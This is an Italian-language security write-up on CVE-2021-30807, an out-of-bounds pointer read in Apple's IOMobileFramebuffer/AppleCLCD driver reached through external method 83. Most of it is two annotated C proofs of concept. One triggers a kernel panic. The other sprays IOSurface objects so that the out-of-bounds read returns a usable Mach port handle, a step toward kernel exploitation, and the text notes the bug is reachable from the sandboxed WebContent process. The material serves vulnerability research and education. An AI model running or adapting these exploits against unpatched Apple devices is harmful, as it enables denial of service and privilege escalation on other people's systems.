CVE-2021-30807: IOMobileFrameBuffer OOB

La vulnerabilità

Hai una ottima spiegazione della vulnerabilità qui, ma come riepilogo:

Il percorso di codice vulnerabile è il metodo esterno #83 del client utente IOMobileFramebuffer / AppleCLCD: IOMobileFramebufferUserClient::s_displayed_fb_surface(...). Questo metodo riceve un parametro controllato dall'utente che non viene verificato in alcun modo e che viene passato alla funzione successiva come scalar0.
Quel metodo inoltra a IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0), dove scalar0 (un valore 32-bit controllato dall'utente) è usato come indice in un array interno di puntatori senza alcun controllo dei limiti:

ptr = *(this + 0xA58 + scalar0 * 8); → passato a IOSurfaceRoot::copyPortNameForSurfaceInTask(...) come IOSurface*.
Risultato: OOB pointer read & type confusion su quell'array. Se il puntatore non è valido, la dereferenziazione nel kernel provoca un panic → DoS.

Note

Questo è stato corretto in iOS/iPadOS 14.7.1, macOS Big Sur 11.5.1, watchOS 7.6.1

Warning

La funzione iniziale per chiamare IOMobileFramebufferUserClient::s_displayed_fb_surface(...) è protetta dall'entitlement com.apple.private.allow-explicit-graphics-priority. Tuttavia, WebKit.WebContent possiede questo entitlement, quindi può essere usato per innescare la vulnerabilità da un processo sandboxed.

DoS PoC

Di seguito il PoC DoS iniziale dal post originale del blog con commenti aggiuntivi:

// PoC for CVE-2021-30807 trigger (annotated)
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
// Build/run only on devices you own and that are vulnerable.
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1.  (Apple advisory)
// https://support.apple.com/en-us/103144
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807

void trigger_clcd_vuln(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;

// The "type" argument is the type (selector) of user client to open.
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
// external methods we need (incl. selector 83). If this doesn't work on your
// build, try different types or query IORegistry to enumerate.
int type = 2;

// 1) Locate the IOMobileFramebuffer service in the IORegistry.
//    This returns the first matched service object (a kernel object handle).
io_service_t service = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOMobileFramebuffer"));

if (service == MACH_PORT_NULL) {
printf("failed to open service\n");
return;
}

printf("service: 0x%x\n", service);

// 2) Open a connection (user client) to the service.
//    The user client is what exposes external methods to userland.
//    'type' selects which user client class/variant to instantiate.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if (ret != KERN_SUCCESS) {
printf("failed to open userclient: %s\n", mach_error_string(ret));
return;
}

printf("client: 0x%x\n", shared_user_client_conn);

printf("call externalMethod\n");

// 3) Prepare input scalars for the external method call.
//    The vulnerable path uses a 32-bit scalar as an INDEX into an internal
//    array of pointers WITHOUT bounds checking (OOB read / type confusion).
//    We set it to a large value to force the out-of-bounds access.
uint64_t scalars[4] = { 0x0 };
scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup

// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
uint64_t output_scalars[4] = { 0 };
uint32_t output_scalars_size = 1;

printf("call s_default_fb_surface\n");

// 5) Invoke external method #83.
//    On vulnerable builds, this path ends up calling:
//      IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
//      → IOMobileFramebufferLegacy::get_displayed_surface(...)
//      which uses our index to read a pointer and then passes it as IOSurface*.
//    If the pointer is bogus, IOSurface code will dereference it and the kernel
//    will panic (DoS).
ret = IOConnectCallMethod(
shared_user_client_conn,
83,                 // **Selector 83**: vulnerable external method
scalars, 1,         // input scalars (count = 1; the OOB index)
NULL, 0,            // no input struct
output_scalars, &output_scalars_size,  // optional outputs
NULL, NULL);        // no output struct

// 6) Check the call result. On many vulnerable targets, you'll see either
//    KERN_SUCCESS right before a panic (because the deref happens deeper),
//    or an error if the call path rejects the request (e.g., entitlement/type).
if (ret != KERN_SUCCESS) {
printf("failed to call external method: 0x%x --> %s\n",
ret, mach_error_string(ret));
return;
}

printf("external method returned KERN_SUCCESS\n");

// 7) Clean up the user client connection handle.
IOServiceClose(shared_user_client_conn);
printf("success!\n");
}

Arbitrary Read PoC spiegato

Aprire il user client giusto

get_appleclcd_uc() trova il servizio AppleCLCD e apre user client type 2. AppleCLCD e IOMobileFramebuffer condividono la stessa external-methods table; type 2 espone selector 83, il metodo vulnerabile. Questo è il punto d'ingresso per il bug. E_POC/)

Perché 83 è importante: il percorso decompilato è:

IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
→ IOMobileFramebufferUserClient::get_displayed_surface(...)
→ IOMobileFramebufferLegacy::get_displayed_surface(...)
Dentro quest'ultima chiamata, il codice usa il tuo 32-bit scalar come indice di un array senza alcun controllo dei limiti, recupera un puntatore da this + 0xA58 + index*8, e lo passa come IOSurface* a IOSurfaceRoot::copyPortNameForSurfaceInTask(...). Questa è la OOB + type confusion.

The heap spray (perché IOSurface appare qui)

do_spray() usa IOSurfaceRootUserClient per creare molte IOSurface e spray small values (s_set_value style). Questo riempie gli heap kernel vicini con puntatori a oggetti IOSurface validi.
Obiettivo: quando selector 83 legge oltre la tabella legittima, lo slot OOB probabilmente contiene un puntatore a una delle tue (reali) IOSurface---così il successivo dereference non va in crash e riesce. IOSurface è una primitive classica e ben documentata per il kernel spray, e il post di Saar elenca esplicitamente i metodi create / set_value / lookup usati per questo flusso di exploitation.

Il trucco "offset/8" (cos'è davvero quell'indice)

In trigger_oob(offset), imposti scalars[0] = offset / 8.
Perché dividere per 8? Il kernel fa base + index*8 per calcolare quale slot di dimensione pointer leggere. Stai scegliendo "numero di slot N", non un offset in byte. Otto byte per slot su 64-bit.
Quell'indirizzo calcolato è this + 0xA58 + index*8. Il PoC usa una costante grande (0x1200000 + 0x1048) semplicemente per andare molto oltre i limiti in una regione che hai cercato di popolare densamente con puntatori IOSurface. Se lo spray "vince", lo slot che colpisci è un valido IOSurface*.

Cosa restituisce selector 83 (questa è la parte sottile)

The call is:

IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0, output_scalars, &output_scalars_size, NULL, NULL);o

Internamente, dopo che viene recuperato il puntatore OOB, il driver chiama
IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*).
Risultato: output_scalars[0] è un Mach port name (u32 handle) nel tuo task per qualsiasi puntatore oggetto tu abbia fornito via OOB. It is not a raw kernel address leak; it's a userspace handle (send right). Questo esatto comportamento (copia di un port name) è mostrato nella decompilazione di Saar.

Perché è utile: con un port name per la (supposta) IOSurface, puoi ora usare i metodi IOSurfaceRoot come:

s_lookup_surface_from_port (method 34) → trasformare la porta in un surface ID su cui puoi operare tramite altre chiamate IOSurface, e
s_create_port_from_surface (method 35) se hai bisogno dell'inverso.
Saar segnala esattamente questi metodi come passo successivo. Il PoC dimostra che puoi "costruire" un handle IOSurface legittimo da uno slot OOB. Saaramar

Questo PoC è stato preso da qui e sono stati aggiunti alcuni commenti per spiegare i passaggi:

#include "exploit.h"

// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
io_connect_t get_appleclcd_uc(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds.  ⭐
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)

// Find the **AppleCLCD** service in the IORegistry.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("AppleCLCD"));
if(service == MACH_PORT_NULL) {
printf("[-] failed to open service\n");
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD service: 0x%x\n", service);

// Open a user client connection to AppleCLCD with the chosen **type**.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if(ret != KERN_SUCCESS) {
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
return shared_user_client_conn;
}

// Trigger the OOB index path of external method #83.
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
uint64_t trigger_oob(uint64_t offset) {
kern_return_t ret;

// The method takes a single 32-bit scalar that it uses as an index.
uint64_t scalars[1] = { 0x0 };
scalars[0] = offset / 8;   // **index = byteOffset / sizeof(void*)**.  ⭐

// #83 returns one scalar. In this flow it will be the Mach port name
// (a u32 handle in our task), not a kernel pointer.
uint64_t output_scalars[1] = { 0 };
uint32_t output_scalars_size = 1;

io_connect_t appleclcd_uc = get_appleclcd_uc();
if (appleclcd_uc == MACH_PORT_NULL) {
return 0;
}

// Call external method 83. Internally:
//   ptr = *(this + 0xA58 + index*8);         // OOB pointer fetch
//   IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
// which creates a send right for that object and writes its port name
// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
ret = IOConnectCallMethod(appleclcd_uc, 83,
scalars, 1,
NULL, 0,
output_scalars, &output_scalars_size,
NULL, NULL);

if (ret != KERN_SUCCESS) {
printf("[-] external method 83 failed: %s\n",  mach_error_string(ret));
return 0;
}

// This is the key: you get back a Mach port name (u32) to whatever
// object was at that OOB slot (ideally an IOSurface you sprayed).
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
return output_scalars[0];
}

// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
// real IOSurface (easier & stabler than a fully fake object).
bool do_spray(void) {
char data[0x10];
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.

// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
return false;
}

// Create many IOSurfaces and use set_value / value spray helpers
// (Brandon Azad-style) to fan out allocations in kalloc.  ⭐
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
surface_ids[i] = create_surface(iosurface_uc);       // s_create_surface
if (surface_ids[i] <= 0) {
return false;
}

// Spray small values repeatedly: tends to allocate/fill predictable
// kalloc regions near where the IOMFB table OOB will read from.
// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
20, 200,   // rounds, per-round items
data, sizeof(data),
NULL) == false) {
printf("iosurface spray failed\n");
return false;
}
}
return true;
}

int main(void) {
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
return 0;
}

printf("[*] do spray\n");
if (do_spray() == false) {
printf("[-] shape failed, abort\n");
return 1;
}
printf("[*] spray success\n");

// Trigger the OOB read. The magic constant chooses a pointer-slot
// far beyond the legit array (offset is in bytes; index = offset/8).
// If the spray worked, this returns a **Mach port name** (handle) to one
// of your sprayed IOSurfaces; otherwise it may crash.
printf("[*] trigger\n");
trigger_oob(0x1200000 + 0x1048);
return 0;
}

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CVE-2021-30807: IOMobileFrameBuffer OOB

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